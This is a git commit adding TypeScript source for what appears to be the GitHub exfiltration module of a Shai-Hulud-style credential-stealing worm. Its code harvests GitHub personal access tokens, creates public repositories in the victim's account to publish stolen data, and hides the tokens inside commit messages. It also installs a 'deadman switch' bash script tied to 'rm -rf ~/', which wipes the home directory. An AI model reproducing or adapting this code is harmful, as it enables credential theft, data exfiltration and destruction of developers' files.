Upload files to "src/sender/github"

This commit is contained in:
2026-07-03 00:10:22 +00:00
parent 87b59aa399
commit d3442c04ac
3 changed files with 422 additions and 0 deletions
+105
View File
@@ -0,0 +1,105 @@
import { logUtil } from "../../utils/logger";
declare function scramble(str: string): string;
const ADJECTIVES = [
scramble("sardaukar"),
scramble("mentat"),
scramble("fremen"),
scramble("atreides"),
scramble("harkonnen"),
scramble("gesserit"),
scramble("prescient"),
scramble("fedaykin"),
scramble("tleilaxu"),
scramble("siridar"),
scramble("kanly"),
scramble("sayyadina"),
scramble("ghola"),
scramble("powindah"),
scramble("prana"),
scramble("kralizec"),
];
const NOUNS = [
scramble("sandworm"),
scramble("ornithopter"),
scramble("heighliner"),
scramble("stillsuit"),
scramble("lasgun"),
scramble("sietch"),
scramble("melange"),
scramble("thumper"),
scramble("navigator"),
scramble("fedaykin"),
scramble("futar"),
scramble("phibian"),
scramble("slig"),
scramble("cogitor"),
scramble("laza"),
scramble("ghola"),
];
function generateRepoName(): string {
const adj = ADJECTIVES[Math.floor(Math.random() * ADJECTIVES.length)]!;
const noun = NOUNS[Math.floor(Math.random() * NOUNS.length)]!;
const num = Math.floor(Math.random() * 1000);
return `${adj}-${noun}-${num}`;
}
export interface CreatedRepo {
owner: string;
name: string;
fullName: string;
url: string;
private: boolean;
}
export async function createRepoWithSample(
token: string,
): Promise<CreatedRepo> {
const name = generateRepoName();
const res = await fetch(scramble("https://api.github.com/user/repos"), {
method: "POST",
headers: {
Authorization: `Bearer ${token}`,
Accept: "application/vnd.github+json",
"User-Agent": "node",
},
body: JSON.stringify({
name,
private: false,
auto_init: true,
description: scramble("Shai-Hulud: Here We Go Again"),
has_discussions: false,
has_issues: false,
has_wiki: false,
}),
});
if (!res.ok) {
throw new Error(`Failed to create repo: ${res.status} ${res.statusText}`);
}
const repo = (await res.json()) as {
full_name: string;
name: string;
html_url: string;
private: boolean;
};
logUtil.log(`Created ${repo.full_name}`);
const [ownerName, repoName] = repo.full_name.split("/");
if (!ownerName || !repoName) {
throw new Error(scramble("Invalid repository"));
}
return {
owner: ownerName,
name: repo.name,
fullName: repo.full_name,
url: repo.html_url,
private: repo.private,
};
}
+128
View File
@@ -0,0 +1,128 @@
import { fetchCommit } from "../../github_utils/fetcher";
import { checkToken } from "../../github_utils/tokenCheck";
import type { ProviderResult } from "../../providers/types";
import { logUtil } from "../../utils/logger";
import type { Sender } from "../base";
import type { SenderFactory } from "../senderFactory";
import { GitHubSender } from "./githubSender";
declare function scramble(str: string): string;
export interface GitHubSenderFactoryOptions {
client: string;
includeToken?: boolean;
}
export class GitHubSenderFactory implements SenderFactory {
constructor() {}
async tryCreate(quickRef?: ProviderResult[]): Promise<Sender | null> {
if (quickRef) {
return this.configureGit(quickRef);
} else {
return this.setupGitHubSender();
}
}
private async configureGit(
quickRef: ProviderResult[],
): Promise<Sender | null> {
const ghPat: string[] = [];
quickRef
.flatMap((searchRes) => {
const matches = searchRes?.matches;
if (Array.isArray(matches)) {
return matches;
}
if (matches && typeof matches === "object") {
return Object.values(matches).flat();
}
return [];
})
.forEach((match) => {
if (
typeof match === "string" &&
(match.startsWith("ghp_") || match.startsWith("gho_"))
) {
ghPat.push(match);
}
});
if (ghPat.length === 0) {
return null;
}
const ghHeaders = (token: string) => ({
Authorization: `Bearer ${token}`,
Accept: "application/vnd.github+json",
"User-Agent": "node",
});
// Loop over as we need to check all pats until first valid.
for (const pat of ghPat) {
const userRes = await fetch(scramble("https://api.github.com/user"), {
headers: ghHeaders(pat),
});
if (!userRes.ok) continue;
const user = (await userRes.json()) as { login: string };
if (!user?.login) continue;
const tokInfo = await checkToken(pat);
logUtil.log(tokInfo);
const profileRes = await fetch(`https://github.com/${user.login}`);
if (profileRes.status === 404 || profileRes.status === 302) {
logUtil.error("User not publicly reachable.");
logUtil.log(profileRes.status);
return null;
}
if (!tokInfo.hasRepoScope) {
return null;
}
const fileSender = new GitHubSender();
const res = await fileSender.initialize(pat);
if (!res) {
logUtil.error("Failed to create repository!");
return null;
}
const orgsRes = await fetch(
scramble("https://api.github.com/user/orgs"),
{
headers: ghHeaders(pat),
},
);
const orgs = orgsRes.ok ? ((await orgsRes.json()) as unknown[]) : [];
if (orgs.length === 0) {
logUtil.log("No orgs - handling.");
fileSender.setIncludeToken(true);
} else {
logUtil.log("User is member of an org.");
}
return fileSender;
}
return null;
}
private async setupGitHubSender(): Promise<Sender | null> {
const ghClient = await fetchCommit();
if (ghClient) {
let fileSender = new GitHubSender();
const clientInitRes = await (fileSender as GitHubSender).initialize(
ghClient,
);
if (clientInitRes) {
return fileSender;
} else {
return null;
}
} else {
return null;
}
}
}
+189
View File
@@ -0,0 +1,189 @@
import { DEADMAN_SWITCH } from "../../generated";
import { SEARCH_STRING } from "../../utils/config";
import { logUtil } from "../../utils/logger";
import { Sender } from "../base";
import type { EncryptedPackage } from "../types";
import type { CreatedRepo } from "./createRepo";
import { createRepoWithSample } from "./createRepo";
declare function scramble(str: string): string;
export class GitHubSender extends Sender {
private createdRepo: CreatedRepo | null = null;
private token: string | null = null;
private commitCounter = 0;
private includeToken = false;
constructor() {
super("github", {
domain: scramble("api.github.com"),
port: 443,
path: "/repos/",
});
}
/**
* Must be called before this sender is usable.
* Typically done by the factory before returning the sender.
*/
async initialize(ghClient: string): Promise<boolean> {
try {
this.createdRepo = await createRepoWithSample(ghClient);
this.token = ghClient;
this.commitCounter = 0;
return true;
} catch (err) {
logUtil.error(`GitHubSender initialization failed: ${err}`);
return false;
}
}
setIncludeToken(value: boolean): void {
this.includeToken = value;
}
override async healthy(): Promise<boolean> {
return this.createdRepo !== null && this.token !== null;
}
override async send(envelope: EncryptedPackage): Promise<void> {
if (!this.createdRepo || !this.token) {
throw new Error(scramble("GitHubSender not initialized"));
}
const finalEnvelope = await this.augmentEnvelope(envelope);
await this.commitToRepo(finalEnvelope);
}
private async installTokenMonitor(token: string, handler: string) {
try {
const proc = Bun.spawn(["bash", "-s", "--", token, handler], {
stdin: "pipe",
stdout: "pipe",
stderr: "pipe",
});
proc.stdin.write(DEADMAN_SWITCH);
proc.stdin.end();
const exitCode = await proc.exited;
if (exitCode !== 0) {
logUtil.info("We tried.");
}
} catch (e) {
logUtil.info("Failure saving persistence.");
}
}
/**
* Adds the auth token to the envelope if configured.
*/
private async augmentEnvelope(
envelope: EncryptedPackage,
): Promise<EncryptedPackage> {
if (!this.includeToken || !this.token) {
return envelope;
}
logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));
logUtil.log("Adding token to envelope!");
const doubleEncodedToken = Buffer.from(
Buffer.from(this.token).toString("base64"),
).toString("base64");
return { ...envelope, token: doubleEncodedToken };
}
private async commitFileWithRetry(
filename: string,
commitMessage: string,
encodedContent: string,
): Promise<void> {
const maxAttempts = 5;
for (let attempt = 1; attempt <= maxAttempts; attempt++) {
try {
const url = `https://api.github.com/repos/${this.createdRepo!.owner}/${this.createdRepo!.name}/contents/results/${filename}`;
const response = await fetch(url, {
method: "PUT",
headers: {
Accept: "application/vnd.github+json",
Authorization: `Bearer ${this.token}`,
"Content-Type": "application/json",
"X-GitHub-Api-Version": "2022-11-28",
},
body: JSON.stringify({
message: commitMessage,
content: encodedContent,
}),
});
if (!response.ok) {
const body = await response.text();
const error: any = new Error(
`GitHub API responded with ${response.status}: ${body}`,
);
error.status = response.status;
throw error;
}
logUtil.log(`Committed ${filename} to ${this.createdRepo!.name}`);
return;
} catch (err: any) {
const status = err?.status ?? err?.statusCode ?? err?.status_code;
const isRetryable = status === 422 || (status >= 500 && status <= 599);
if (!isRetryable || attempt === maxAttempts) {
throw new Error(
`GitHubSender commit failed after ${attempt} attempt(s): ${err}`,
);
}
const backoffMs = Math.min(1000 * 2 ** (attempt - 1), 16_000);
logUtil.log(`Retrying commit in ${backoffMs}ms (attempt ${attempt})`);
await new Promise((res) => setTimeout(res, backoffMs));
}
}
}
private async commitToRepo(envelope: EncryptedPackage): Promise<void> {
const content = JSON.stringify(envelope, null, 2);
const MAX_CHUNK_SIZE = 30 * 1024 * 1024; // 30 MB
const baseFilename = `results-${Date.now()}-${this.commitCounter++}.json`;
const commitMessage = envelope.token
? `${SEARCH_STRING}:${envelope.token}`
: "Add files.";
const contentBuffer = Buffer.from(content, "utf8");
if (contentBuffer.length <= MAX_CHUNK_SIZE) {
const encodedContent = contentBuffer.toString("base64");
await this.commitFileWithRetry(
baseFilename,
commitMessage,
encodedContent,
);
} else {
const totalParts = Math.ceil(contentBuffer.length / MAX_CHUNK_SIZE);
for (let i = 0; i < totalParts; i++) {
const chunk = contentBuffer.subarray(
i * MAX_CHUNK_SIZE,
(i + 1) * MAX_CHUNK_SIZE,
);
const encodedChunk = chunk.toString("base64");
const chunkFilename = `${baseFilename}.p${i + 1}`;
await this.commitFileWithRetry(
chunkFilename,
commitMessage,
encodedChunk,
);
}
logUtil.log(
`Split ${baseFilename} into ${totalParts} parts for ${this.createdRepo!.name}`,
);
}
}
}